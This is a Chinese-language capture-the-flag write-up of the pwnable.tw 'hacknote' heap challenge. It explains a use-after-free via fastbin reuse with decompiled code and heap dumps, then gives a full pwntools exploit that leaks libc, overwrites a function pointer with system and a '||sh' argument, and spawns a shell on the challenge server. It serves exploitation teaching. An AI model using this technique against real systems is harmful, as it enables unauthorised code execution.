pwnable.tw_hacknote

一生一世一双人 一词一曲入心门
一波一则一浮沉 一刀一剑一伤痕


分析过程

这是pwnable.tw上面的一道适合入门的堆利用题目,主要是考察对fastbin的申请与释放以及常见漏洞的理解;
首先先运行程序了解一下程序的大致内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
sir@sir-PC:~/desktop$ ./hacknote
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :16
Content :aaaa
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
aaaa

----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :0
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :4

明显程序有3个主要功能,然后一个退出功能;猜测程序漏洞可能是1中有溢出,2中有double_free或use_after_free或其他,3中有格式化字符串漏洞等
通过ida分析,我们发现一个note会先分配8个字节,前四字节指向print功能所要调用的函数,后四节指向note中的具体内容;并且我们最多申请5个note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if ( global_amount <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = puts_4;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++global_amount;
return __readgsdword(0x14u) ^ v5;
}
}
}

delete会根据给定的索引v1来释放对应的note

1
2
3
4
5
6
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}

但是这里在free的时候没有对v1减一,也没有将指针置为Null,显然,这里是存在use_after_free的情况
根据实际的调试我们看到申请的note在堆中是这个样子的:

1
2
3
4
5
6
7
8
pwndbg> x/28x 0x804b150
0x804b150: 0x00000000 0x00000000 0x00000000 0x00000011
0x804b160: 0x0804862b 0x0804b170 0x00000000 0x00000021 #note0_tag
0x804b170: 0x61616161 0x61616161 0x0000000a 0x00000000 #not0
0x804b180: 0x00000000 0x00000000 0x00000000 0x00000011 #note1_tag
0x804b190: 0x0804862b 0x0804b1a0 0x00000000 0x00000021 #note1
0x804b1a0: 0x62626262 0x62626262 0x0000000a 0x00000000
0x804b1b0: 0x00000000 0x00000000 0x00000000 0x00021e49

其中0x0804862b指向的就是puts函数;
当我们free(note0)后:

1
2
3
4
5
6
7
8
pwndbg> x/28x 0x804b150
0x804b150: 0x00000000 0x00000000 0x00000000 0x00000011
0x804b160: 0x00000000 0x0804b170 0x00000000 0x00000021 #note0_tag
0x804b170: 0x00000000 0x61616161 0x0000000a 0x00000000 #note0
0x804b180: 0x00000000 0x00000000 0x00000000 0x00000011 #note0_tag
0x804b190: 0x0804862b 0x0804b1a0 0x00000000 0x00000021 #note1
0x804b1a0: 0x62626262 0x62626262 0x0000000a 0x00000000
0x804b1b0: 0x00000000 0x00000000 0x00000000 0x00021e49


利用思路

由于fastbin采用的是LIFO原则,所以我们先add两次,但是内容的大小不能是8字节;然后再delete两次,此时note0_tag指向note1_tag,note1指向note0;当我们再次申请一个8字节的note时就会拿到note0_tag,然后我们就可以修改为system函数的地址,当我们再次执行print note0的时候,就可以执行system函数了;
所以我们要先泄露system的地址,然后在想办法执行system(‘sh’);
由于题目提供了libc,所以我们利用两次use_after_free,先触发一次漏洞来泄露地址,然后再触发一次漏洞来执行system
这里有一个小技巧,由于传入note0_tag位置发函数的参数是note0结构体自身,可能无法直接传入字符串“\sh”,这里的知识点是system参数可用“||”截断,比如 system(“chaosir||/sh”)


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
#p = process('./hacknote')
p = remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')
elf = ELF('./hacknote')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
gdb.attach(p)


def new(lenth,cmd):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(lenth)
p.recvuntil('Content :')
p.sendline(cmd)


def delet(cmd):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(cmd)

def put(cmd):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(cmd))

def exit():
p.recvuntil('Your choice :')
p.sendline('4')

new('16','a'*8)
new('16','b'*8)
delet('0')
delet('1')
new('8',p32(0x0804862b) + p32(elf.got['puts']))
put(0)
puts_addr = u32(p.recv(4))
lib_addr = puts_addr - libc.symbols['puts'] #0x67250
system_addr = lib_addr + libc.symbols['system'] #0x3cd10
print "puts_addr: " + hex(puts_addr)
print "system_addr: " + hex(system_addr)
delet('2')
new('8',p32(system_addr) + "||sh")
put(0)
p.interactive()
#FLAG{Us3_aft3r_fl3333_in_h4ck_not3}
文章目录
  1. 1. 分析过程
  2. 2. 利用思路
  3. 3. EXP
,